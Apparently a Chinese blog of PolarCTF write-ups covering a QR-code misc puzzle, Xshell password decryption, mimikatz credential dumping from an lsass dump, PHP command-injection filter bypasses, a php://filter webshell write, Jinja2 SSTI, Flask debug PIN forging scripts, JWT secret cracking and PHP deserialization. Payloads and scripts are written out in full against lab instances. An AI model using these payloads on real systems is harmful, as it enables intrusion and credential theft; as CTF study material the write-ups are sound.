misc

0和255

给到一个py文件,是图片生成坐标点的,也给了坐标点,
找chatgpt问一下还原一下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from PIL import Image

# 输入坐标点列表
image_list = [[255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255], [255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255], [255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255], [255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255], [255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 255, 0, 0, 0, 0, 255, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255], [255, 255, 255, 255, 0, 255, 255, 255, 255, 255, 0, 255, 0, 255, 255, 0, 255, 0, 0, 255, 255, 255, 0, 255, 255, 255, 255, 255, 0, 255, 255, 255, 255], [255, 255, 255, 255, 0, 255, 0, 0, 0, 255, 0, 255, 255, 0, 0, 255, 255, 0, 0, 0, 255, 255, 0, 255, 0, 0, 0, 255, 0, 255, 255, 255, 255], [255, 255, 255, 255, 0, 255, 0, 0, 0, 255, 0, 255, 0, 0, 255, 0, 0, 255, 0, 0, 0, 255, 0, 255, 0, 0, 0, 255, 0, 255, 255, 255, 255], [255, 255, 255, 255, 0, 255, 0, 0, 0, 255, 0, 255, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 255, 0, 0, 0, 255, 0, 255, 255, 255, 255], [255, 255, 255, 255, 0, 255, 255, 255, 255, 255, 0, 255, 0, 255, 255, 255, 0, 255, 255, 0, 255, 255, 0, 255, 255, 255, 255, 255, 0, 255, 255, 255, 255], [255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 255, 0, 255, 0, 255, 0, 255, 0, 255, 0, 255, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255], [255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255], [255, 255, 255, 255, 255, 255, 255, 0, 255, 255, 0, 255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 255, 255, 0, 0, 0, 255, 0, 0, 255, 255, 255, 255], [255, 255, 255, 255, 255, 255, 255, 0, 255, 255, 255, 0, 0, 255, 0, 0, 0, 0, 255, 255, 255, 0, 0, 255, 255, 255, 0, 0, 0, 255, 255, 255, 255], [255, 255, 255, 255, 0, 255, 0, 255, 255, 255, 0, 255, 255, 0, 255, 0, 255, 0, 255, 0, 0, 255, 255, 255, 255, 255, 255, 0, 0, 255, 255, 255, 255], [255, 255, 255, 255, 255, 255, 255, 0, 0, 255, 255, 0, 0, 0, 255, 255, 0, 0, 0, 255, 255, 255, 255, 255, 0, 255, 255, 0, 0, 255, 255, 255, 255], [255, 255, 255, 255, 255, 0, 255, 255, 0, 255, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 255, 255, 255, 255, 0, 255, 255, 255, 255, 255], [255, 255, 255, 255, 255, 0, 0, 255, 255, 0, 255, 255, 255, 255, 0, 0, 0, 0, 255, 0, 255, 255, 0, 0, 255, 0, 0, 0, 0, 255, 255, 255, 255], [255, 255, 255, 255, 0, 255, 255, 0, 255, 255, 0, 0, 255, 255, 255, 0, 255, 0, 0, 0, 0, 255, 0, 0, 255, 0, 0, 255, 0, 255, 255, 255, 255], [255, 255, 255, 255, 255, 0, 0, 0, 0, 255, 255, 0, 255, 255, 255, 0, 0, 0, 255, 255, 0, 0, 255, 0, 0, 255, 255, 0, 255, 255, 255, 255, 255], [255, 255, 255, 255, 0, 0, 0, 255, 255, 255, 0, 255, 0, 0, 0, 0, 255, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 0, 255, 255, 255, 255], [255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 255, 0, 0, 255, 0, 255, 255, 255, 0, 0, 255, 0, 255, 255, 255, 255, 255], [255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 0, 0, 0, 0, 255, 255, 0, 255, 0, 255, 0, 255, 255, 0, 0, 255, 255, 255, 255], [255, 255, 255, 255, 0, 255, 255, 255, 255, 255, 0, 255, 255, 255, 255, 0, 255, 0, 0, 0, 0, 255, 255, 255, 0, 255, 0, 255, 0, 255, 255, 255, 255], [255, 255, 255, 255, 0, 255, 0, 0, 0, 255, 0, 255, 255, 255, 255, 0, 0, 0, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255, 255], [255, 255, 255, 255, 0, 255, 0, 0, 0, 255, 0, 255, 0, 255, 255, 255, 0, 0, 255, 255, 255, 0, 255, 0, 0, 255, 0, 0, 255, 255, 255, 255, 255], [255, 255, 255, 255, 0, 255, 0, 0, 0, 255, 0, 255, 255, 255, 255, 255, 0, 255, 0, 255, 255, 255, 0, 255, 0, 0, 0, 255, 0, 255, 255, 255, 255], [255, 255, 255, 255, 0, 255, 255, 255, 255, 255, 0, 255, 255, 0, 255, 0, 0, 255, 255, 0, 255, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255], [255, 255, 255, 255, 0, 0, 0, 0, 0, 0, 0, 255, 255, 0, 0, 0, 255, 255, 255, 0, 255, 255, 255, 0, 255, 255, 0, 0, 0, 255, 255, 255, 255], [255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255], [255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255], [255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255], [255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255]]

# 创建空白图像
img = Image.new('RGB', (33, 33), color = 'white')

# 填充像素点颜色
for y in range(img.height):
for x in range(img.width):
img.putpixel((x, y), image_list[y][x])

# 显示图像
img.show()

# 保存图像
img.save('restored_flag.png')

image-20231208092154595

扫码得到Polar_Night,0f46d4b056acb49f06b1090bab56189d

01
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from PIL import Image

# 输入01数据
data = [
'1111111011111001001111111',
'1000001000000001101000001',
'1011101000100010101011101',
'1011101010011110001011101',
'1011101001110010101011101',
'1000001000111001001000001',
'1111111010101010101111111',
'0000000000110001000000000',
'0010111011011101010001001',
'1110100111100111010101001',
'0110001100010000110111011',
'0000100100001010111100010',
'0001001111110100110001001',
'0001000110000101110101010',
'1001111000010111101011011',
'0101010001010010100000010',
'1001001011100111111111001',
'0000000011011100100010001',
'1111111001100010101011011',
'1000001011111001100011000',
'1011101011001010111111000',
'1011101000001110010111010',
'1011101011001000111110101',
'1000001001101001001110010',
'1111111000010001000011011'
]

# 创建空白图像
img = Image.new('RGB', (len(data[0]), len(data)), color='white')

# 填充像素点颜色
for y in range(len(data)):
for x in range(len(data[0])):
pixel = (255, 255, 255) if data[y][x] == '0' else (0, 0, 0)
img.putpixel((x, y), pixel)

# 显示图像
img.show()

# 保存图像
img.save('restored_image.png')

image-20231208093657267

解出来第一次见这种编码

1
~呜喵喵喵喵呜啊喵啊呜呜喵呜呜~喵喵~啊喵啊呜喵喵~喵~喵~呜呜喵呜啊喵喵喵呜啊呜~啊呜喵呜呜啊呜~~啊喵啊呜喵喵~喵~喵~呜喵呜呜~喵喵喵呜啊喵呜啊呜喵呜呜啊呜呜~啊喵啊呜喵喵~喵~喵~呜喵呜~~喵喵喵呜呜呜呜啊呜喵呜呜啊呜喵喵啊喵啊呜喵喵~啊~喵~呜喵呜喵啊喵喵喵呜啊喵呜呜呜喵呜呜~喵啊~啊喵啊呜~呜喵呜~喵~呜呜喵呜呜喵喵喵呜啊喵呜呜呜喵呜呜啊呜~喵啊喵啊呜~呜啊~~喵~呜呜喵呜喵喵喵喵呜呜呜啊~呜喵呜呜啊呜啊~啊喵啊呜喵喵~呜~喵~呜喵呜~~喵喵喵呜呜呜呜~呜喵呜呜啊呜~啊啊喵啊呜喵喵喵喵~喵~呜喵呜喵~喵喵喵呜呜呜呜呜呜喵呜呜~喵~喵啊喵啊呜~呜喵~~喵~呜呜喵呜喵喵喵喵呜呜呜啊呜呜喵呜呜~呜呜喵啊

兽音译者https://roar.iiilab.com/
image-20231208094202833

docx隐写

打开word,全选改一下颜色即可,image-20231215155553572

将docx改为zip,解压就能看到最后一段flag了

image-20231215155409671

Xshell密码破解

xshell文件解密,题目描述:这是一道贴合实际攻击场景的一道题,在一次溯源反制的过程中,purplet被蓝队大佬反制,自己的电脑竟被控制住了,蓝队大佬在从purplet的目标机中查到一段令人不解的数字:S-1-5-21-323397330-1794634962-2946154912-1001,同时还得到了一个Xshell的配置文件,他们想知道purplet这个人的Xshell连接过的服务器密码是多少,你能帮助他们破解开么?
flag{MD5(密码)}

这里给了一个xsh的文件,用这个项目的脚本解密

https://github.com/HyperSine/how-does-Xmanager-encrypt-password

python3 .\XShellCryptoHelper.py -d -ver 6.0 -user purplet -sid S-1-5-21-323397330-1794634962-2946154912-1001 vYZ6tni/wCY0aWv83Tu+0UvW5hCYP1gMOl8o/zF5LIJkmHsIpz1l1Avnog==

在这里面user可以猜到时purplet,sid给了,pass和ver都给了,直接解即可nicaicai!23

image-20231220210341006

在md5即可

Mimikatz

描述:峰哥某一天通过3389端口的CVE-2019-0708漏洞拿到了一台目标机器,并新建了一个管理员用户,远程登陆了目标主机,他知道内网中很多机器的密码会因为人为设置会出现相同的情况,所以它为了继续横向渗透,利用procdump工具提取了用户登录凭据,你能帮他继续破解出登录密码么?flag格式:flag{md5(登录密码)}
解开压缩包是一个dmp文件,提示了mimikatz,那应该就是本地文件读密码了

1
2
3
#放在相同木录下,即可
minidump lsass.dmp
sekurlsa::logonpasswords

image-20240112164350866

toor的md5

简单rce
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
/*

PolarD&N CTF

*/
highlight_file(__FILE__);
function no($txt){
if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){
return $txt;}
else{
die("what's up");}}
$yyds=($_POST['yyds']);
if(isset($_GET['sys'])&&$yyds=='666'){
eval(no($_GET['sys']));
}
else
{echo "nonono";
}
?> nonono

http://d66cc31d-7e85-4966-b532-b847f685bad3.www.polarctf.com:8090/?sys=passthru('ca""t${IFS}/flag');

http://d66cc31d-7e85-4966-b532-b847f685bad3.www.polarctf.com:8090/?sys=passthru('ls${IFS}/');

写shell
1
2
3
4
5
6
7
8
9
10
11
12
<?php
/*

PolarD&N CTF

*/

highlight_file(__FILE__);

file_put_contents($_GET['filename'],"<?php exit();".$_POST['content']);

?>

file_put_contents 绕过死亡die写shell,用base64 或者rot等绕过https://www.freebuf.com/articles/web/266565.html

?filename=php://filter/convert.base64-decode/resource=1.php

content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==

swp

view-source:http://d471787d-afe0-4441-beee-5dacb2a31213.www.polarctf.com:8090/.index.php.swp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

function jiuzhe($xdmtql){
return preg_match('/sys.*nb/is',$xdmtql);
}

$xdmtql=@$_POST['xdmtql'];
if(!is_array($xdmtql)){
if(!jiuzhe($xdmtql)){
if(strpos($xdmtql,'sys nb')!==false){
echo 'flag{*******}';
}else{
echo 'true .swp file?';
}
}else{
echo 'nijilenijile';
}
}

抄的,https://blog.csdn.net/weixin_46029520/article/details/130173887![image-20231215161023782](/images/polarctf/image-20231215161023782.png)

PHP是世界上最好的语言
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
//flag in $flag
highlight_file(__FILE__);
include("flag.php");
$c=$_POST['sys'];
$key1 = 0;
$key2 = 0;
if(isset($_GET['flag1']) || isset($_GET['flag2']) || isset($_POST['flag1']) || isset($_POST['flag2'])) {//不能有flag12等
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);接受post传参
if($flag1 == '8gen1' && $flag2 == '8gen1') {
if(isset($_POST['504_SYS.COM'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\?/", $c)){
eval("$c");

}
}
}
?>

//http://b19e6d80-35bf-4b97-96a4-3ab7636527a6.www.polarctf.com:8090/?_POST[flag1]=8gen1&_POST[flag2]=8gen1
post:
504[SYS.COM=1&sys=echo $flag;&
爆破
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);

if(isset($_GET['pass'])){
$pass = md5($_GET['pass']);
if(substr($pass, 1,1)===substr($pass, 14,1) && substr($pass, 14,1) ===substr($pass, 17,1)){
if((intval(substr($pass, 1,1))+intval(substr($pass, 14,1))+substr($pass, 17,1))/substr($pass, 1,1)===intval(substr($pass, 31,1))){
include('flag.php');
echo $flag;
}
}
}else{
highlight_file(__FILE__);

}
?>

直接bp加载数字,一般都很小,

image-20231215165948200

再来ping一波啊

ban了很多,连/ 都办了,那估计在环境变量里了。

image-20231215171714420

可是环境变量的flag也不对,那估计还在index.php中,/?ip=|echo%09Y2F0IGluZGV4LnBocA==|base64%09-d|sh

image-20231215172622851

wu

无字母数字rce

1
assert(eval($_POST[1])); (~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6);
蜜雪冰城吉警店

打开页面,看源码有js混淆,解不开,然后随便把一个id改为9即可,这里注意。他会自动跳到js的debugger,tcl,怎么跳都跳不出来,其实直接吧f12关掉即可,再去点

image-20231219094406677

网站被黑

扫目录啥也没有扫到,bp抓包,有hint,解一下

image-20231219103753764

http://7e389493-2661-409f-a5d7-6b2bad00852e.www.polarctf.com:8090/n0_0ne_f1nd_m3/

base被ban了,rot即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
error_reporting(0);

$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the 504sys")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag|data|base|write|input/i",$file)){
echo "I am sorry but no way!";
exit();
}else{
include($file); //imposible.php
}
}
else{
highlight_file(__FILE__);
}
?>
//http://7e389493-2661-409f-a5d7-6b2bad00852e.www.polarctf.com:8090/n0_0ne_f1nd_m3/?text=data://text/plain,welcome to the 504sys&file=php://filter/read=string.rot13/resource=imposible.php
veryphp

开局给到一个php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{
function __wakeup(){
die("Access Denied!");
}
static function oao(){
show_source("config.php");
}
}
$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
die("I am sorry but you have to leave.");
}else{
extract($_POST);
}
if(isset($shaw_root)){
if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
echo $hint;
}else{
echo "Almost there."."<br>";
}
}else{
echo "<br>"."Input correct parameters"."<br>";
die();
}
if($ans===$SecretNumber){
echo "<br>"."Congratulations!"."<br>";
call_user_func($my_ans);
} I am sorry but you have to leave.

post的数据给到str,str的字符不能有这些,这里需注意下面有个_可以用[代替,

然后是一个正则,^-[a-e]:以-开头a-e

[^a-zA-Z0-8] 不能是这些,那就9

(.*)>{4}:带

(.*)>{4}: 匹配到4个>

\D*?:应该是任意字符

(abc.*?):abc开头

p(hp)*:php

@R(s|r).$: @R s或者r 任意结尾

所有字符为29位,如果不知道这些,可以一点一点匹配

shaw[root=-a9<b>>>>>aaaaaaaaaabcphp@Rsr

image-20231220220211554

</code>Here is a hint : md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import hashlib
import binascii

def mohu_md5():
for i in range(10000,99999):
t1 = str(i)+'XIPU'
t1 = 'shaw'+str(i)+'root'
md5_result = hashlib.md5(t1.encode("utf-8")).hexdigest()
#print(md5_result)
if md5_result == '166b47a5cb1ca2431a0edfcef200684f':

print(t1 + "----->"+md5_result)
break

mohu_md5()
1
shaw21475root----->166b47a5cb1ca2431a0edfcef200684f

最后静态调用classqwq里的oao

shaw[root=-a9<b>>>>>aaaaaaaaaabcphp@Rsr&ans=21475&my[ans=qwq::oao

jwt

拿到地址,注册和登录,随便注册一个,登录的时候抓包,会给我们一个cookie

image-20231225095047221

爆破该jwt密钥,https://github.com/brendan-rius/c-jwt-cracker

└─# ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImEifQ.nioJtqW7tqRWVFsBsXjkJdjYx1NQM3NZZke8vUII6-8 Secret is "SYSA"

可以跑出来密钥位SYSA,image-20231225095558666

到网站填写密钥,将用户名改为admin,拿到的jwt传回去即可

image-20231225095659919

某函数的复仇
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
//flag:/flag
if(isset($_POST['shaw'])){
$shaw = $_POST['shaw'];
$root = $_GET['root'];
if(preg_match('/^[a-z_]*$/isD',$shaw)){
if(!preg_match('/rm|ch|nc|net|ex|\-|de|cat|tac|strings|h|wget|\?|cp|mv|\||so|\$/i',$root)){
$shaw('',$root);
}else{
echo "Almost there^^";
}
}
}
?>

给了源码,传两个参数,动态命令执行,但是 $shaw(‘’,$root);这里前面是空,也就是要传两个参数,
creater_function 符合,

GET:POST /?root=2;}system(‘ca””t%09/flag’);// HTTP/1.1

POST:shaw=create_function

这样传参数就会是这样的

源代码:
function fT($a) {
echo “test”.$a;
}

注入后代码:
function fT($a) {
echo “test”2;}
system(‘ca””t%09/flag’);此处为注入代码。
}

SSTI

没有任何过滤

http://59a4cdbc-3575-48d2-9721-3469502ed8eb.www.polarctf.com:8090/?name={%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__ %}{{x()._module.__builtins__['__import__']('os').popen('cat /flag').read()}}{%endif%}{%endfor%}

flask_pin

什么是pin码?
pin码是flask应用在开启debug的模式下,进入控制台调试模式下所需的进入密码。相当于是pyshell

PIN是Werkzeug(它是Flask 的依赖项之一)提供的额外安全措施,以防止在不知道PIN 的情况下访问调试器。 您可以使用浏览器中的调试器引脚来启动交互式调试器。 请注意,无论如何,您都不应该在生产环境中使用调试模式,因为错误的堆栈跟踪可能会揭示代码的多个方面。

在ctf中如果出现报错,点击右边的shell,就会弹出输入pin,输入后就会得到一个python的shell,那么就可以任意操作了。

image-20240116141409456

image-20240116141458091

pin码生成条件?
pin码有六个要素:
1,flask的用户名:username可以任意文件读的条件下读/etc/passwd或者进行猜测
2,modname-一般是f1ask.app
3,getattr(app,”_name_”,app.class__·_name)一般是Flask
4,moddir flask)库下app.py的绝对路径可以通过报错获取
5,int(uuid,16)即当前网络的mac地址的十进制数
6,get_machine._id()机器的id

回到题目

根据题目报错得知,有一个file路由,然后传参filename
这里猜测出现了任意文件读取,
http://72b2fab5-b736-4aaa-8766-c182f6aaa036.www.polarctf.com:8090/file?filename=app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

# -*- coding: utf-8 -*-
import pdb
from flask import Flask, request
app = Flask(__name__)

@app.route("/")
def hello():
return Hello['a']

@app.route("/file")
def file():
filename = request.args.get('filename')
try:
with open(filename, 'r') as f:
return f.read()
except:
return '不试试filename参数么?'

if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080, debug=True)

1,直接读取源码,可以看到就一个任意文件读取,因为题目给了pin,那么我们这里直接读取我们想要的,
http://72b2fab5-b736-4aaa-8766-c182f6aaa036.www.polarctf.com:8090/file?filename=/etc/passwd

image-20240116142708405

没有啊,没有就用root
2,app.py的绝对路径,在报错页面可以看到,/usr/local/lib/python3.5/site-packages/flask/app.py
image-20240116142915826

3,mac地址的十进制数

http://72b2fab5-b736-4aaa-8766-c182f6aaa036.www.polarctf.com:8090/file?filename=/sys/class/net/eth0/address
02:42:ac:02:c4:8a

1
2
3
4
5
6
7
# 02:42:ac:02:c4:8a
# 将:去掉
# 0242ac02c48a
# 在python中进行转化
print(int('0242ac02c48a',16))
# 得到
# 2485376959626

4,引用大佬的解释:
对于非docker机每一个机器都会有自已唯-一的id
linux的id一般存放在/etc/machine-id或proc/sys/kernel/random/boot_i,有的
系统没有这两个文件。
对于docker机则读取/proc/self/cgroup,其中/docker/字符串后面的内容作为机器的id,

view-source:http://72b2fab5-b736-4aaa-8766-c182f6aaa036.www.polarctf.com:8090/file?filename=/proc/self/cgroup

image-20240116143523439

0::/docker/ce60aaa5cf72377fd3ba0eaba35544d4e680767b372b76b4a002241e8ff0302c
这里题目为3.5版本的python,还需要获取*/etc/machine-id,且/etc/machine-id*在前
image-20240116150947159

点击网站右边的小黑shell,输入213-649-252即可进入

进入之后再点小黑shell,即可命令执行了,

1
2
3
4
5
6
os.popen("ls -1 /").read() 
'app\nbin\nboot\ndev\netc\nflag.sh\nflaggggg\nhome\nlib\nlib64\nmedia\[ ](http://6678d206-8d6f-4e53-a10e-99bbf94cc920.www.polarctf.com:8090/#)


os.popen("cat /flaggggg").read()
'flag{873894c49201cd995ee2c52e6270630d}'

image-20240116151400389

tips

这里一定要注意不同的python版本的计算pin值是不同的,
python3.5的get_machine_id()值为/etc/machine-id+/proc/self/cgroup
下面是脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

import hashlib
from itertools import chain
probably_public_bits = [
'root',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'2485377892354',# str(uuid.getnode()), /sys/class/net/ens33/address
#/sys/class/net/eth0/address
'32e48d371198e8420c53b0a1fa37e94d'# get_machine_id(), /etc/machine-id+/proc/self/cgroup
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

python3.6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#MD5
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'25214234362297',# str(uuid.getnode()), /sys/class/net/ens33/address
'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)


python3.7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

#MD5
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'25214234362297',# str(uuid.getnode()), /sys/class/net/ens33/address
'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

python3.8的machine_id由三个合成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

#sha1
import hashlib
from itertools import chain
probably_public_bits = [
'root'# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]

private_bits = [
'2485377581187',# /sys/class/net/eth0/address 16进制转10进制
#machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
'653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd'# /proc/self/cgroup
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

php very nice
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
class Example
{
public $sys='system("ls");';
function __destruct(){
eval($this->sys);
}
}
$s = new Example();
echo serialize($s);
?>
http://3b626d75-482d-4c21-a603-ee2c36749c68.www.polarctf.com:8090/?a=O:7:"Example":1:{s:3:"sys";s:23:"system('cat flag.php');";}